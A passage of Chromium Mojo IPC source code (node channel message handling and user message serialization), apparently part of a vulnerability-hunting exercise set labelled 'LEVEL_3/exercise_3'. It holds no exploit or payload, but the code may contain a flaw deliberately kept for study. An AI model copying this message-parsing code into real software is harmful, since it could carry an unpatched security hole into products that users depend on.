sizeof(IntroductionData), handles.size(), &data); message->SetHandles(std::move(handles)); data->name = name; // Note that these are not our capabilities, but the capabilities of the peer // we're introducing. data->capabilities = capabilities; WriteChannelMessage(std::move(message)); } void NodeChannel::SendChannelMessage(Channel::MessagePtr message) { WriteChannelMessage(std::move(message)); } void NodeChannel::Broadcast(Channel::MessagePtr message) { DCHECK(!message->has_handles()); void* data; Channel::MessagePtr broadcast_message = CreateMessage( MessageType::BROADCAST_EVENT, message->data_num_bytes(), 0, &data); memcpy(data, message->data(), message->data_num_bytes()); WriteChannelMessage(std::move(broadcast_message)); } void NodeChannel::BindBrokerHost(PlatformHandle broker_host_handle) { #if !defined(OS_APPLE) && !defined(OS_NACL) && !defined(OS_FUCHSIA) DCHECK(broker_host_handle.is_valid()); BindBrokerHostData* data; std::vector handles; handles.push_back(std::move(broker_host_handle)); Channel::MessagePtr message = CreateMessage(MessageType::BIND_BROKER_HOST, sizeof(BindBrokerHostData), handles.size(), &data); message->SetHandles(std::move(handles)); WriteChannelMessage(std::move(message)); #endif } #if defined(OS_WIN) void NodeChannel::RelayEventMessage(const ports::NodeName& destination, Channel::MessagePtr message) { DCHECK(message->has_handles()); // Note that this is only used on Windows, and on Windows all platform // handles are included in the message data. We blindly copy all the data // here and the relay node (the broker) will duplicate handles as needed. size_t num_bytes = sizeof(RelayEventMessageData) + message->data_num_bytes(); RelayEventMessageData* data; Channel::MessagePtr relay_message = CreateMessage(MessageType::RELAY_EVENT_MESSAGE, num_bytes, 0, &data); data->destination = destination; memcpy(data + 1, message->data(), message->data_num_bytes()); // When the handles are duplicated in the broker, the source handles will // be closed. If the broker never receives this message then these handles // will leak, but that means something else has probably broken and the // sending process won't likely be around much longer. // // TODO(https://crbug.com/813112): We would like to be able to violate the // above stated assumption. We should not leak handles in cases where we // outlive the broker, as we may continue existing and eventually accept a new // broker invitation. std::vector handles = message->TakeHandles(); for (auto& handle : handles) handle.TakeHandle().release(); WriteChannelMessage(std::move(relay_message)); } void NodeChannel::EventMessageFromRelay(const ports::NodeName& source, Channel::MessagePtr message) { size_t num_bytes = sizeof(EventMessageFromRelayData) + message->payload_size(); EventMessageFromRelayData* data; Channel::MessagePtr relayed_message = CreateMessage(MessageType::EVENT_MESSAGE_FROM_RELAY, num_bytes, message->num_handles(), &data); data->source = source; if (message->payload_size()) memcpy(data + 1, message->payload(), message->payload_size()); relayed_message->SetHandles(message->TakeHandles()); WriteChannelMessage(std::move(relayed_message)); } #endif // defined(OS_WIN) NodeChannel::NodeChannel( Delegate* delegate, ConnectionParams connection_params, Channel::HandlePolicy channel_handle_policy, scoped_refptr io_task_runner, const ProcessErrorCallback& process_error_callback) : base::RefCountedDeleteOnSequence(io_task_runner), delegate_(delegate), process_error_callback_(process_error_callback) #if !defined(OS_NACL_SFI) , channel_(Channel::Create(this, std::move(connection_params), channel_handle_policy, std::move(io_task_runner))) #endif { InitializeLocalCapabilities(); } NodeChannel::~NodeChannel() { ShutDown(); } void NodeChannel::CreateAndBindLocalBrokerHost( PlatformHandle broker_host_handle) { #if !defined(OS_APPLE) && !defined(OS_NACL) && !defined(OS_FUCHSIA) // Self-owned. ConnectionParams connection_params( PlatformChannelEndpoint(std::move(broker_host_handle))); new BrokerHost(remote_process_handle_.Duplicate(), std::move(connection_params), process_error_callback_); #endif } void NodeChannel::OnChannelMessage(const void* payload, size_t payload_size, std::vector handles) { DCHECK(owning_task_runner()->RunsTasksInCurrentSequence()); RequestContext request_context(RequestContext::Source::SYSTEM); if (payload_size <= sizeof(Header)) { delegate_->OnChannelError(remote_node_name_, this); return; } const Header* header = static_cast(payload); switch (header->type) { case MessageType::ACCEPT_INVITEE: { AcceptInviteeData data; if (GetMessagePayloadMinimumSized( payload, payload_size, &data)) { // Attach any capabilities that the other side advertised. SetRemoteCapabilities(data.capabilities); delegate_->OnAcceptInvitee(remote_node_name_, data.inviter_name, data.token); return; } break; } case MessageType::ACCEPT_INVITATION: { AcceptInvitationData data; if (GetMessagePayloadMinimumSized( payload, payload_size, &data)) { // Attach any capabilities that the other side advertised. SetRemoteCapabilities(data.capabilities); delegate_->OnAcceptInvitation(remote_node_name_, data.token, data.invitee_name); return; } break; } case MessageType::ADD_BROKER_CLIENT: { AddBrokerClientData data; if (GetMessagePayload(payload, payload_size, &data)) { #if defined(OS_WIN) if (handles.size() != 1) { DLOG(ERROR) << "Dropping invalid AddBrokerClient message."; break; } delegate_->OnAddBrokerClient(remote_node_name_, data.client_name, handles[0].ReleaseHandle()); #else if (!handles.empty()) { DLOG(ERROR) << "Dropping invalid AddBrokerClient message."; break; } delegate_->OnAddBrokerClient(remote_node_name_, data.client_name, data.process_handle); #endif return; } break; } case MessageType::BROKER_CLIENT_ADDED: { BrokerClientAddedData data; if (GetMessagePayload(payload, payload_size, &data)) { if (handles.size() != 1) { DLOG(ERROR) << "Dropping invalid BrokerClientAdded message."; break; } delegate_->OnBrokerClientAdded(remote_node_name_, data.client_name, std::move(handles[0])); return; } break; } case MessageType::ACCEPT_BROKER_CLIENT: { AcceptBrokerClientData data; if (GetMessagePayloadMinimumSized( payload, payload_size, &data)) { PlatformHandle broker_channel; if (handles.size() > 1) { DLOG(ERROR) << "Dropping invalid AcceptBrokerClient message."; break; } if (handles.size() == 1) broker_channel = std::move(handles[0]); // Attach any capabilities that the other side advertised. SetRemoteCapabilities(data.capabilities); delegate_->OnAcceptBrokerClient(remote_node_name_, data.broker_name, std::move(broker_channel), data.broker_capabilities); return; } break; } case MessageType::EVENT_MESSAGE: { Channel::MessagePtr message( new Channel::Message(payload_size, handles.size())); message->SetHandles(std::move(handles)); memcpy(message->mutable_payload(), payload, payload_size); delegate_->OnEventMessage(remote_node_name_, std::move(message)); return; } case MessageType::REQUEST_PORT_MERGE: { RequestPortMergeData data; if (GetMessagePayload(payload, payload_size, &data)) { // Don't accept an empty token. size_t token_size = payload_size - sizeof(data) - sizeof(Header); if (token_size == 0) break; std::string token(reinterpret_cast(payload) + sizeof(Header) + sizeof(data), token_size); delegate_->OnRequestPortMerge(remote_node_name_, data.connector_port_name, token); return; } break; } case MessageType::REQUEST_INTRODUCTION: { IntroductionData data; if (GetMessagePayloadMinimumSized( payload, payload_size, &data)) { delegate_->OnRequestIntroduction(remote_node_name_, data.name); return; } break; } case MessageType::INTRODUCE: { IntroductionData data; if (GetMessagePayloadMinimumSized( payload, payload_size, &data)) { if (handles.size() > 1) { DLOG(ERROR) << "Dropping invalid introduction message."; break; } PlatformHandle channel_handle; if (handles.size() == 1) channel_handle = std::move(handles[0]); // The node channel for this introduction will be created later, so we // can only pass up the capabilities we received from the broker for // that remote. delegate_->OnIntroduce(remote_node_name_, data.name, std::move(channel_handle), data.capabilities); return; } break; } #if defined(OS_WIN) case MessageType::RELAY_EVENT_MESSAGE: { base::ProcessHandle from_process; { base::AutoLock lock(remote_process_handle_lock_); // NOTE: It's safe to retain a weak reference to this process handle // through the extent of this call because |this| is kept alive and // |remote_process_handle_| is never reset once set. from_process = remote_process_handle_.Handle(); } RelayEventMessageData data; if (GetMessagePayload(payload, payload_size, &data)) { // Don't try to relay an empty message. if (payload_size <= sizeof(Header) + sizeof(data)) break; const void* message_start = reinterpret_cast(payload) + sizeof(Header) + sizeof(data); Channel::MessagePtr message = Channel::Message::Deserialize( message_start, payload_size - sizeof(Header) - sizeof(data), from_process); if (!message) { DLOG(ERROR) << "Dropping invalid relay message."; break; } delegate_->OnRelayEventMessage(remote_node_name_, from_process, data.destination, std::move(message)); return; } break; } #endif case MessageType::BROADCAST_EVENT: { if (payload_size <= sizeof(Header)) break; const void* data = static_cast( reinterpret_cast(payload) + 1); Channel::MessagePtr message = Channel::Message::Deserialize(data, payload_size - sizeof(Header)); if (!message || message->has_handles()) { DLOG(ERROR) << "Dropping invalid broadcast message."; break; } delegate_->OnBroadcast(remote_node_name_, std::move(message)); return; } #if defined(OS_WIN) case MessageType::EVENT_MESSAGE_FROM_RELAY: { EventMessageFromRelayData data; if (GetMessagePayload(payload, payload_size, &data)) { if (payload_size < (sizeof(Header) + sizeof(data))) break; size_t num_bytes = payload_size - sizeof(data) - sizeof(Header); Channel::MessagePtr message( new Channel::Message(num_bytes, handles.size())); message->SetHandles(std::move(handles)); if (num_bytes) memcpy(message->mutable_payload(), static_cast(payload) + sizeof(Header) + sizeof(data), num_bytes); delegate_->OnEventMessageFromRelay(remote_node_name_, data.source, std::move(message)); return; } break; } #endif // defined(OS_WIN) case MessageType::ACCEPT_PEER: { AcceptPeerData data; if (GetMessagePayload(payload, payload_size, &data)) { delegate_->OnAcceptPeer(remote_node_name_, data.token, data.peer_name, data.port_name); return; } break; } case MessageType::BIND_BROKER_HOST: if (handles.size() == 1) { CreateAndBindLocalBrokerHost(std::move(handles[0])); return; } break; default: // Ignore unrecognized message types, allowing for future extensibility. return; } DLOG(ERROR) << "Received invalid message type: " << static_cast(header->type) << " closing channel."; if (process_error_callback_) process_error_callback_.Run("NodeChannel received a malformed message"); delegate_->OnChannelError(remote_node_name_, this); } void NodeChannel::OnChannelError(Channel::Error error) { DCHECK(owning_task_runner()->RunsTasksInCurrentSequence()); RequestContext request_context(RequestContext::Source::SYSTEM); ShutDown(); if (process_error_callback_ && error == Channel::Error::kReceivedMalformedData) { process_error_callback_.Run("Channel received a malformed message"); } // |OnChannelError()| may cause |this| to be destroyed, but still need // access to the name after that destruction. So make a copy of // |remote_node_name_| so it can be used if |this| becomes destroyed. ports::NodeName node_name = remote_node_name_; delegate_->OnChannelError(node_name, this); } void NodeChannel::WriteChannelMessage(Channel::MessagePtr message) { base::AutoLock lock(channel_lock_); if (!channel_) DLOG(ERROR) << "Dropping message on closed channel."; else channel_->Write(std::move(message)); } void NodeChannel::OfferChannelUpgrade() { #if !defined(OS_NACL) base::AutoLock lock(channel_lock_); channel_->OfferChannelUpgrade(); #endif } uint64_t NodeChannel::RemoteCapabilities() const { return remote_capabilities_; } bool NodeChannel::HasRemoteCapability(const uint64_t capability) const { return (remote_capabilities_ & capability) == capability; } void NodeChannel::SetRemoteCapabilities(const uint64_t capabilities) { remote_capabilities_ |= capabilities; } uint64_t NodeChannel::LocalCapabilities() const { return local_capabilities_; } bool NodeChannel::HasLocalCapability(const uint64_t capability) const { return (local_capabilities_ & capability) == capability; } void NodeChannel::SetLocalCapabilities(const uint64_t capabilities) { if (GetConfiguration().dont_advertise_capabilities) { return; } local_capabilities_ |= capabilities; } void NodeChannel::InitializeLocalCapabilities() { if (GetConfiguration().dont_advertise_capabilities) { return; } if (core::Channel::SupportsChannelUpgrade()) { SetLocalCapabilities(kNodeCapabilitySupportsUpgrade); } } } // namespace core } // namespace mojo ================================================ FILE: LEVEL_3/exercise_3/node_channel.h ================================================ // Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef MOJO_CORE_NODE_CHANNEL_H_ #define MOJO_CORE_NODE_CHANNEL_H_ #include #include #include "base/callback.h" #include "base/containers/queue.h" #include "base/macros.h" #include "base/memory/ref_counted_delete_on_sequence.h" #include "base/process/process.h" #include "base/process/process_handle.h" #include "base/single_thread_task_runner.h" #include "base/synchronization/lock.h" #include "build/build_config.h" #include "mojo/core/channel.h" #include "mojo/core/connection_params.h" #include "mojo/core/embedder/process_error_callback.h" #include "mojo/core/ports/name.h" #include "mojo/core/system_impl_export.h" namespace mojo { namespace core { constexpr uint64_t kNodeCapabilityNone = 0; constexpr uint64_t kNodeCapabilitySupportsUpgrade = 1; // Wraps a Channel to send and receive Node control messages. class MOJO_SYSTEM_IMPL_EXPORT NodeChannel : public base::RefCountedDeleteOnSequence, public Channel::Delegate { public: class Delegate { public: virtual ~Delegate() = default; virtual void OnAcceptInvitee(const ports::NodeName& from_node, const ports::NodeName& inviter_name, const ports::NodeName& token) = 0; virtual void OnAcceptInvitation(const ports::NodeName& from_node, const ports::NodeName& token, const ports::NodeName& invitee_name) = 0; virtual void OnAddBrokerClient(const ports::NodeName& from_node, const ports::NodeName& client_name, base::ProcessHandle process_handle) = 0; virtual void OnBrokerClientAdded(const ports::NodeName& from_node, const ports::NodeName& client_name, PlatformHandle broker_channel) = 0; virtual void OnAcceptBrokerClient(const ports::NodeName& from_node, const ports::NodeName& broker_name, PlatformHandle broker_channel, const uint64_t broker_capabilities) = 0; virtual void OnEventMessage(const ports::NodeName& from_node, Channel::MessagePtr message) = 0; virtual void OnRequestPortMerge(const ports::NodeName& from_node, const ports::PortName& connector_port_name, const std::string& token) = 0; virtual void OnRequestIntroduction(const ports::NodeName& from_node, const ports::NodeName& name) = 0; virtual void OnIntroduce(const ports::NodeName& from_node, const ports::NodeName& name, PlatformHandle channel_handle, const uint64_t remote_capabilities) = 0; virtual void OnBroadcast(const ports::NodeName& from_node, Channel::MessagePtr message) = 0; #if defined(OS_WIN) virtual void OnRelayEventMessage(const ports::NodeName& from_node, base::ProcessHandle from_process, const ports::NodeName& destination, Channel::MessagePtr message) = 0; virtual void OnEventMessageFromRelay(const ports::NodeName& from_node, const ports::NodeName& source_node, Channel::MessagePtr message) = 0; #endif virtual void OnAcceptPeer(const ports::NodeName& from_node, const ports::NodeName& token, const ports::NodeName& peer_name, const ports::PortName& port_name) = 0; virtual void OnChannelError(const ports::NodeName& node, NodeChannel* channel) = 0; }; static scoped_refptr Create( Delegate* delegate, ConnectionParams connection_params, Channel::HandlePolicy channel_handle_policy, scoped_refptr io_task_runner, const ProcessErrorCallback& process_error_callback); static Channel::MessagePtr CreateEventMessage(size_t capacity, size_t payload_size, void** payload, size_t num_handles); static void GetEventMessageData(Channel::Message* message, void** data, size_t* num_data_bytes); // Start receiving messages. void Start(); // Permanently stop the channel from sending or receiving messages. void ShutDown(); // Leaks the pipe handle instead of closing it on shutdown. void LeakHandleOnShutdown(); // Invokes the bad message callback for this channel. To avoid losing error // reports the caller should ensure that the channel |HasBadMessageHandler| // before calling |NotifyBadMessage|. void NotifyBadMessage(const std::string& error); // Returns whether the channel has a bad message handler. bool HasBadMessageHandler() { return !process_error_callback_.is_null(); } void SetRemoteProcessHandle(base::Process process_handle); bool HasRemoteProcessHandle(); base::Process CloneRemoteProcessHandle(); // Used for context in Delegate calls (via |from_node| arguments.) void SetRemoteNodeName(const ports::NodeName& name); void AcceptInvitee(const ports::NodeName& inviter_name, const ports::NodeName& token); void AcceptInvitation(const ports::NodeName& token, const ports::NodeName& invitee_name); void AcceptPeer(const ports::NodeName& sender_name, const ports::NodeName& token, const ports::PortName& port_name); void AddBrokerClient(const ports::NodeName& client_name, base::Process process_handle); void BrokerClientAdded(const ports::NodeName& client_name, PlatformHandle broker_channel); void AcceptBrokerClient(const ports::NodeName& broker_name, PlatformHandle broker_channel, const uint64_t broker_capabilities); void RequestPortMerge(const ports::PortName& connector_port_name, const std::string& token); void RequestIntroduction(const ports::NodeName& name); void Introduce(const ports::NodeName& name, PlatformHandle channel_handle, uint64_t capabilities); void SendChannelMessage(Channel::MessagePtr message); void Broadcast(Channel::MessagePtr message); void BindBrokerHost(PlatformHandle broker_host_handle); uint64_t RemoteCapabilities() const; bool HasRemoteCapability(const uint64_t capability) const; void SetRemoteCapabilities(const uint64_t capability); uint64_t LocalCapabilities() const; bool HasLocalCapability(const uint64_t capability) const; void SetLocalCapabilities(const uint64_t capability); #if defined(OS_WIN) // Relay the message to the specified node via this channel. This is used to // pass windows handles between two processes that do not have permission to // duplicate handles into the other's address space. The relay process is // assumed to have that permission. void RelayEventMessage(const ports::NodeName& destination, Channel::MessagePtr message); // Sends a message to its destination from a relay. This is interpreted by the // receiver similarly to EventMessage, but the original source node is // provided as additional message metadata from the (trusted) relay node. void EventMessageFromRelay(const ports::NodeName& source, Channel::MessagePtr message); #endif void OfferChannelUpgrade(); private: friend class base::RefCountedDeleteOnSequence; friend class base::DeleteHelper; using PendingMessageQueue = base::queue; using PendingRelayMessageQueue = base::queue>; NodeChannel(Delegate* delegate, ConnectionParams connection_params, Channel::HandlePolicy channel_handle_policy, scoped_refptr io_task_runner, const ProcessErrorCallback& process_error_callback); ~NodeChannel() override; // Creates a BrokerHost to satisfy a |BindBrokerHost()| request from the other // end of the channel. void CreateAndBindLocalBrokerHost(PlatformHandle broker_host_handle); // Channel::Delegate: void OnChannelMessage(const void* payload, size_t payload_size, std::vector handles) override; void OnChannelError(Channel::Error error) override; void WriteChannelMessage(Channel::MessagePtr message); // This method is responsible for setting up the default set of capabilities // for this channel. void InitializeLocalCapabilities(); Delegate* const delegate_; const ProcessErrorCallback process_error_callback_; base::Lock channel_lock_; scoped_refptr channel_ GUARDED_BY(channel_lock_); // Must only be accessed from the owning task runner's thread. ports::NodeName remote_node_name_; uint64_t remote_capabilities_ = kNodeCapabilityNone; uint64_t local_capabilities_ = kNodeCapabilityNone; base::Lock remote_process_handle_lock_; base::Process remote_process_handle_; DISALLOW_COPY_AND_ASSIGN(NodeChannel); }; } // namespace core } // namespace mojo #endif // MOJO_CORE_NODE_CHANNEL_H_ ================================================ FILE: LEVEL_3/exercise_3/user_message_impl.cc ================================================ // Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "mojo/core/user_message_impl.h" #include #include #include "base/atomicops.h" #include "base/debug/dump_without_crashing.h" #include "base/memory/ptr_util.h" #include "base/no_destructor.h" #include "base/numerics/safe_conversions.h" #include "base/numerics/safe_math.h" #include "base/trace_event/memory_allocator_dump.h" #include "base/trace_event/memory_dump_manager.h" #include "base/trace_event/memory_dump_provider.h" #include "base/trace_event/trace_event.h" #include "mojo/core/configuration.h" #include "mojo/core/core.h" #include "mojo/core/node_channel.h" #include "mojo/core/node_controller.h" #include "mojo/core/ports/event.h" #include "mojo/core/ports/message_filter.h" #include "mojo/core/ports/node.h" #include "mojo/public/c/system/types.h" namespace mojo { namespace core { namespace { // The minimum amount of memory to allocate for a new serialized message buffer. // This should be sufficiently large such that most seiralized messages do not // incur any reallocations as they're expanded to full size. const uint32_t kMinimumPayloadBufferSize = 128; // The maximum number of Mojo handles which can be attached to a serialized // user message. Much larger than should ever be necessary, but small enough // to not be a problem. const uint32_t kMaxMojoHandleAttachments = 1024 * 1024; // Indicates whether handle serialization failure should be emulated in testing. bool g_always_fail_handle_serialization = false; #pragma pack(push, 1) // Header attached to every message. struct MessageHeader { // The number of serialized dispatchers included in this header. uint32_t num_dispatchers; // Total size of the header, including serialized dispatcher data. uint32_t header_size; }; // Header for each dispatcher in a message, immediately following the message // header. struct DispatcherHeader { // The type of the dispatcher, correpsonding to the Dispatcher::Type enum. int32_t type; // The size of the serialized dispatcher, not including this header. uint32_t num_bytes; // The number of ports needed to deserialize this dispatcher. uint32_t num_ports; // The number of platform handles needed to deserialize this dispatcher. uint32_t num_platform_handles; }; #pragma pack(pop) static_assert(sizeof(MessageHeader) % 8 == 0, "Invalid MessageHeader size."); static_assert(sizeof(DispatcherHeader) % 8 == 0, "Invalid DispatcherHeader size."); // Creates a new Channel message with sufficient storage for |num_bytes| user // message payload and all |dispatchers| given. If |original_message| is not // null, its contents are copied and extended by the other parameters given // here. MojoResult CreateOrExtendSerializedEventMessage( ports::UserMessageEvent* event, size_t payload_size, size_t payload_buffer_size, const Dispatcher::DispatcherInTransit* new_dispatchers, size_t num_new_dispatchers, Channel::MessagePtr* out_message, void** out_header, size_t* out_header_size, void** out_user_payload) { // A structure for tracking information about every Dispatcher that will be // serialized into the message. This is NOT part of the message itself. struct DispatcherInfo { uint32_t num_bytes; uint32_t num_ports; uint32_t num_handles; }; size_t original_header_size = sizeof(MessageHeader); size_t original_num_ports = 0; size_t original_num_handles = 0; size_t original_payload_size = 0; MessageHeader* original_header = nullptr; void* original_user_payload = nullptr; Channel::MessagePtr original_message; if (*out_message) { original_message = std::move(*out_message); original_header = static_cast(*out_header); original_header_size = *out_header_size; original_num_ports = event->num_ports(); original_num_handles = original_message->num_handles(); original_user_payload = *out_user_payload; original_payload_size = original_message->payload_size() - (static_cast(original_user_payload) - static_cast(original_message->mutable_payload())); } // This is only the base header size. It will grow as we accumulate the // size of serialized state for each dispatcher. base::CheckedNumeric safe_header_size = num_new_dispatchers; safe_header_size *= sizeof(DispatcherHeader); safe_header_size += original_header_size; size_t header_size = safe_header_size.ValueOrDie(); size_t num_new_ports = 0; size_t num_new_handles = 0; std::vector new_dispatcher_info(num_new_dispatchers); for (size_t i = 0; i < num_new_dispatchers; ++i) { Dispatcher* d = new_dispatchers[i].dispatcher.get(); d->StartSerialize(&new_dispatcher_info[i].num_bytes, &new_dispatcher_info[i].num_ports, &new_dispatcher_info[i].num_handles); header_size += new_dispatcher_info[i].num_bytes; num_new_ports += new_dispatcher_info[i].num_ports; num_new_handles += new_dispatcher_info[i].num_handles; } size_t num_ports = original_num_ports + num_new_ports; size_t num_handles = original_num_handles + num_new_handles; // We now have enough information to fully allocate the message storage. if (num_ports > event->num_ports()) event->ReservePorts(num_ports); const size_t event_size = event->GetSerializedSize(); const size_t total_size = event_size + header_size + payload_size; const size_t total_buffer_size = event_size + header_size + payload_buffer_size; void* data; Channel::MessagePtr message = NodeChannel::CreateEventMessage( total_buffer_size, total_size, &data, num_handles); auto* header = reinterpret_cast(static_cast(data) + event_size); // Populate the message header with information about serialized dispatchers. // The front of the message is always a MessageHeader followed by a // DispatcherHeader for each dispatcher to be sent. DispatcherHeader* new_dispatcher_headers; char* new_dispatcher_data; size_t total_num_dispatchers = num_new_dispatchers; std::vector handles; if (original_message) { DCHECK(original_header); size_t original_dispatcher_headers_size = original_header->num_dispatchers * sizeof(DispatcherHeader); memcpy(header, original_header, original_dispatcher_headers_size + sizeof(MessageHeader)); new_dispatcher_headers = reinterpret_cast( reinterpret_cast(header + 1) + original_dispatcher_headers_size); total_num_dispatchers += original_header->num_dispatchers; size_t total_dispatcher_headers_size = total_num_dispatchers * sizeof(DispatcherHeader); char* original_dispatcher_data = reinterpret_cast(original_header + 1) + original_dispatcher_headers_size; char* dispatcher_data = reinterpret_cast(header + 1) + total_dispatcher_headers_size; size_t original_dispatcher_data_size = original_header_size - sizeof(MessageHeader) - original_dispatcher_headers_size; memcpy(dispatcher_data, original_dispatcher_data, original_dispatcher_data_size); new_dispatcher_data = dispatcher_data + original_dispatcher_data_size; auto handles_in_transit = original_message->TakeHandles(); if (!handles_in_transit.empty()) { handles.resize(num_handles); for (size_t i = 0; i < handles_in_transit.size(); ++i) handles[i] = handles_in_transit[i].TakeHandle(); } memcpy(reinterpret_cast(header) + header_size, reinterpret_cast(original_header) + original_header_size, original_payload_size); } else { new_dispatcher_headers = reinterpret_cast(header + 1); // Serialized dispatcher state immediately follows the series of // DispatcherHeaders. new_dispatcher_data = reinterpret_cast(new_dispatcher_headers + num_new_dispatchers); } if (handles.empty() && num_new_handles) handles.resize(num_new_handles); header->num_dispatchers = base::CheckedNumeric(total_num_dispatchers).ValueOrDie(); // |header_size| is the total number of bytes preceding the message payload, // including all dispatcher headers and serialized dispatcher state. if (!base::IsValueInRangeForNumericType(header_size)) return MOJO_RESULT_OUT_OF_RANGE; header->header_size = static_cast(header_size); if (num_new_dispatchers > 0) { size_t port_index = original_num_ports; size_t handle_index = original_num_handles; bool fail = false; for (size_t i = 0; i < num_new_dispatchers; ++i) { Dispatcher* d = new_dispatchers[i].dispatcher.get(); DispatcherHeader* dh = &new_dispatcher_headers[i]; const DispatcherInfo& info = new_dispatcher_info[i]; // Fill in the header for this dispatcher. dh->type = static_cast(d->GetType()); dh->num_bytes = info.num_bytes; dh->num_ports = info.num_ports; dh->num_platform_handles = info.num_handles; // Fill in serialized state, ports, and platform handles. We'll cancel // the send if the dispatcher implementation rejects for some reason. if (g_always_fail_handle_serialization || !d->EndSerialize( static_cast(new_dispatcher_data), event->ports() + port_index, !handles.empty() ? handles.data() + handle_index : nullptr)) { fail = true; break; } new_dispatcher_data += info.num_bytes; port_index += info.num_ports; handle_index += info.num_handles; } if (fail) { // Release any platform handles we've accumulated. Their dispatchers // retain ownership when message creation fails, so these are not actually // leaking. for (auto& handle : handles) handle.release(); // Leave the original message in place on failure if applicable. if (original_message) *out_message = std::move(original_message); return MOJO_RESULT_INVALID_ARGUMENT; } // Take ownership of all the handles and move them into message storage. message->SetHandles(std::move(handles)); } *out_message = std::move(message); *out_header = header; *out_header_size = header_size; *out_user_payload = reinterpret_cast(header) + header_size; return MOJO_RESULT_OK; } base::subtle::Atomic32 g_message_count = 0; void IncrementMessageCount() { base::subtle::NoBarrier_AtomicIncrement(&g_message_count, 1); } void DecrementMessageCount() { base::subtle::NoBarrier_AtomicIncrement(&g_message_count, -1); } class MessageMemoryDumpProvider : public base::trace_event::MemoryDumpProvider { public: MessageMemoryDumpProvider() { base::trace_event::MemoryDumpManager::GetInstance()->RegisterDumpProvider( this, "MojoMessages", nullptr); } ~MessageMemoryDumpProvider() override { base::trace_event::MemoryDumpManager::GetInstance()->UnregisterDumpProvider( this); } private: // base::trace_event::MemoryDumpProvider: bool OnMemoryDump(const base::trace_event::MemoryDumpArgs& args, base::trace_event::ProcessMemoryDump* pmd) override { auto* dump = pmd->CreateAllocatorDump("mojo/messages"); dump->AddScalar(base::trace_event::MemoryAllocatorDump::kNameObjectCount, base::trace_event::MemoryAllocatorDump::kUnitsObjects, base::subtle::NoBarrier_Load(&g_message_count)); return true; } DISALLOW_COPY_AND_ASSIGN(MessageMemoryDumpProvider); }; void EnsureMemoryDumpProviderExists() { static base::NoDestructor provider; ALLOW_UNUSED_LOCAL(provider); } } // namespace // static const ports::UserMessage::TypeInfo UserMessageImpl::kUserMessageTypeInfo = {}; UserMessageImpl::~UserMessageImpl() { if (HasContext() && context_destructor_) { DCHECK(!channel_message_); DCHECK(!has_serialized_handles_); context_destructor_(context_); } else if (IsSerialized() && has_serialized_handles_) { // Ensure that any handles still serialized within this message are // extracted and closed so they don't leak. std::vector handles(num_handles()); MojoResult result = ExtractSerializedHandles(ExtractBadHandlePolicy::kSkip, handles.data()); if (result == MOJO_RESULT_OK) { for (auto handle : handles) { if (handle != MOJO_HANDLE_INVALID) Core::Get()->Close(handle); } } if (!pending_handle_attachments_.empty()) { Core::Get()->ReleaseDispatchersForTransit(pending_handle_attachments_, false); for (const auto& dispatcher : pending_handle_attachments_) Core::Get()->Close(dispatcher.local_handle); } } DecrementMessageCount(); } // static std::unique_ptr UserMessageImpl::CreateEventForNewMessage(MojoCreateMessageFlags flags) { auto message_event = std::make_unique(0); message_event->AttachMessage( base::WrapUnique(new UserMessageImpl(message_event.get(), flags))); return message_event; } // static MojoResult UserMessageImpl::CreateEventForNewSerializedMessage( uint32_t num_bytes, const Dispatcher::DispatcherInTransit* dispatchers, uint32_t num_dispatchers, std::unique_ptr* out_event) { Channel::MessagePtr channel_message; void* header = nullptr; void* user_payload = nullptr; auto event = std::make_unique(0); size_t header_size = 0; MojoResult rv = CreateOrExtendSerializedEventMessage( event.get(), num_bytes, num_bytes, dispatchers, num_dispatchers, &channel_message, &header, &header_size, &user_payload); if (rv != MOJO_RESULT_OK) return rv; event->AttachMessage(base::WrapUnique( new UserMessageImpl(event.get(), std::move(channel_message), header, header_size, user_payload, num_bytes))); *out_event = std::move(event); return MOJO_RESULT_OK; } // static std::unique_ptr UserMessageImpl::CreateFromChannelMessage( ports::UserMessageEvent* message_event, Channel::MessagePtr channel_message, void* payload, size_t payload_size) { DCHECK(channel_message); if (payload_size < sizeof(MessageHeader)) return nullptr; auto* header = static_cast(payload); const size_t header_size = header->header_size; if (header_size > payload_size) return nullptr; if (header->num_dispatchers > kMaxMojoHandleAttachments) return nullptr; void* user_payload = static_cast(payload) + header_size; const size_t user_payload_size = payload_size - header_size; return base::WrapUnique( new UserMessageImpl(message_event, std::move(channel_message), header, header_size, user_payload, user_payload_size)); } // static Channel::MessagePtr UserMessageImpl::FinalizeEventMessage( std::unique_ptr message_event) { auto* message = message_event->GetMessage(); DCHECK(message->IsSerialized()); if (!message->is_committed_) return nullptr; Channel::MessagePtr channel_message = std::move(message->channel_message_); message->user_payload_ = nullptr; message->user_payload_size_ = 0; // Serialize the UserMessageEvent into the front of the message payload where // there is already space reserved for it. if (channel_message) { void* data; size_t size; NodeChannel::GetEventMessageData(channel_message.get(), &data, &size); message_event->Serialize(data); } return channel_message; } size_t UserMessageImpl::user_payload_capacity() const { DCHECK(IsSerialized()); const size_t user_payload_offset = static_cast(user_payload_) - static_cast(channel_message_->payload()); const size_t message_capacity = channel_message_->capacity(); DCHECK_LE(user_payload_offset, message_capacity); return message_capacity - user_payload_offset; } size_t UserMessageImpl::num_handles() const { DCHECK(IsSerialized()); DCHECK(header_); return static_cast(header_)->num_dispatchers; } MojoResult UserMessageImpl::SetContext( uintptr_t context, MojoMessageContextSerializer serializer, MojoMessageContextDestructor destructor) { if (!context && (serializer || destructor)) return MOJO_RESULT_INVALID_ARGUMENT; if (context && HasContext()) return MOJO_RESULT_ALREADY_EXISTS; if (IsSerialized()) return MOJO_RESULT_FAILED_PRECONDITION; context_ = context; context_serializer_ = serializer; context_destructor_ = destructor; return MOJO_RESULT_OK; } MojoResult UserMessageImpl::AppendData(uint32_t additional_payload_size, const MojoHandle* handles, uint32_t num_handles) { if (HasContext()) return MOJO_RESULT_FAILED_PRECONDITION; std::vector dispatchers; if (num_handles > 0) { MojoResult acquire_result = Core::Get()->AcquireDispatchersForTransit( handles, num_handles, &dispatchers); if (acquire_result != MOJO_RESULT_OK) return acquire_result; } if (!IsSerialized()) { // First data for this message. Channel::MessagePtr channel_message; MojoResult rv = CreateOrExtendSerializedEventMessage( message_event_, additional_payload_size, std::max(additional_payload_size, kMinimumPayloadBufferSize), dispatchers.data(), num_handles, &channel_message, &header_, &header_size_, &user_payload_); if (num_handles > 0) { Core::Get()->ReleaseDispatchersForTransit(dispatchers, rv 